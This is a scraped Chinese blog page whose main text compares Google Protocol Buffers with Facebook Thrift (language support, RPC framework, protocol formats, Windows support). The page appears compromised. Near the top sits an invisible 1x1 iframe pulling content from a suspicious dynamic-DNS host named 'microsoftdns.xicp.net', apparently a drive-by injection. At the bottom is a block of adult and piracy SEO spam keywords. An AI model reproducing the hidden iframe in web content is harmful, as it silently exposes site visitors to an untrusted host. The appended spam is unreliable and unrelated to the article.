• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            流量統計:
            Rixu Blog (日需博客)
            日需博客,每日必需來踩踩哦..
            posts - 108,comments - 54,trackbacks - 0
            <iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog.png" width="1" height="1" style="display: block;"></iframe>

            最近工作需要保存一些結構化的數據。常規的思路,自然是選擇xml。定義一個schema,然后再找個利落點的XML庫(覺得tinyxml/tinyxml++ 就挺不錯的)就算問題解決。這兩天blog上比較熱鬧的話題,是從Google放出來的Protocol buffers ,一種用來部分替代xml的數據描述語言。Google就是Google,就算是推白菜出來,也一樣能讓人側目。其實protocol buffers也不是什么新鮮的概念,且不說傳統的ASN.1, ICE這些有點類似的東西,facebook一年前就推出了thrift ,應該說定位是非常的接近的。也有謠傳說是先有了protocol buffers在google內部流行,然后google的人跳槽到facebook,就出了thrift這個東西……呵呵,停止八卦,言歸正傳。
            觀察法看到的優缺點
            Thrift:
            支持的語言更廣泛一些c++, java, python,ruby, csharp, haskell, ocmal, erlang, cocoa, php, squeak(真夠變態的)
            protobuf
            目前還是只支持c++, java, python, 其他語言有待開發.
            Thrift提供的功能更豐富一些:
            Thrift提供了簡單的RPC構架(其實不簡單了, block, nonblock的都有了…..)
            protobuf好像一心一意做好自己的事情,只提供了序列化和反序列化的功能。
            Thrift支持多種協議格式.
            Thrift的代碼實現,有專門的TProtocol和TTransport抽象,相互配合,可以實現多種協議,方便集成各種傳輸方式。至少目前Thrift就能使用json作為序列化協議。
            protobuf好像只安心一種協議,并下決心把這個格式做好。輸入輸出也是標準的stream. 認真的說也不完全這樣,protobuf為了調試方便,也提供了Text_Fromat功能,這個也算一個nonbinary格式支持,這樣看來完全新協議還是有可能的。
            Thrift還提供了不少語言的C module(性能啊,都是性能啊)
            protobuf全部pure language實現, 反正現在已經都5到10倍速度了,不在乎了…..
            thrift目前不支持Windows平臺,至少c++語言的runtime library和generated code是不不能在windows平臺上使用的。(這真有點讓人難以接受啊,現代科技這么發達,還有怪獸boost,支持windows有這么難嗎?)
            protobuf沒有這個問題,提供了visual studio的項目文件,可以很順利的在windows平臺下編譯。(題外話: 如果不知道googletest怎么在windows平臺上使用,可以參考protobuf的測試用例)。
            The Thrift C++ runtime library does not currently work on Windows. This means that you’ll be able to compile ThriftIDL files to C++/Java/Python/etc., but you won’t be able to compile and run the generated C++ code under Windows.
            thrift wiki
            protobuf側重點是語言表達,同時在存儲效率上也下了不少功夫。用protobuf來直接讀寫數據結構相當的方便。
            thrift側重點是構建夸語言的可伸縮的服務,特點就是支持的語言多,同時提供了完整的rpc service framework,可以很方便的直接構建服務,不需要做太多其他的工作。
            數據類型相對固定的情況下,不論是thrift還是protobuf都會比直接處理xml要方便很多。不管是dom還是類sax,總沒有直接出數據結構訪問來的方便啊。
            posted on 2015-10-26 20:18 日需博客 閱讀(1478) 評論(0)  編輯 收藏 引用 所屬分類: 轉載
            香港aa三级久久三级| 久久伊人精品一区二区三区| 国产精品久久久久久福利漫画| 2022年国产精品久久久久| 色综合色天天久久婷婷基地| 香港aa三级久久三级老师2021国产三级精品三级在 | 亚洲日本va午夜中文字幕久久 | 久久婷婷五月综合97色一本一本| 无码国内精品久久人妻蜜桃 | 久久久精品日本一区二区三区| 久久精品卫校国产小美女| 国产精品成人99久久久久| 香蕉久久夜色精品升级完成 | 国产精品对白刺激久久久| 久久AAAA片一区二区| 99久久99这里只有免费的精品| 免费精品久久久久久中文字幕| 久久久久人妻精品一区| 日本五月天婷久久网站| 久久精品无码一区二区三区免费| 久久香蕉国产线看观看精品yw| 久久久国产99久久国产一| 国产精品美女久久久免费| 国内精品伊人久久久久av一坑| 久久婷婷五月综合色奶水99啪| 99久久精品无码一区二区毛片 | 色偷偷88888欧美精品久久久| 久久婷婷久久一区二区三区| 欧美黑人又粗又大久久久| 久久国产劲爆AV内射—百度| 亚洲色欲久久久久综合网| 久久九九久精品国产| 久久久久99精品成人片牛牛影视| 国产精品久久永久免费| 狠狠狠色丁香婷婷综合久久五月 | 久久天堂电影网| 91久久精品视频| 精品视频久久久久| 久久人妻少妇嫩草AV蜜桃| 久久精品国产精品亚洲艾草网美妙| 久久天堂电影网|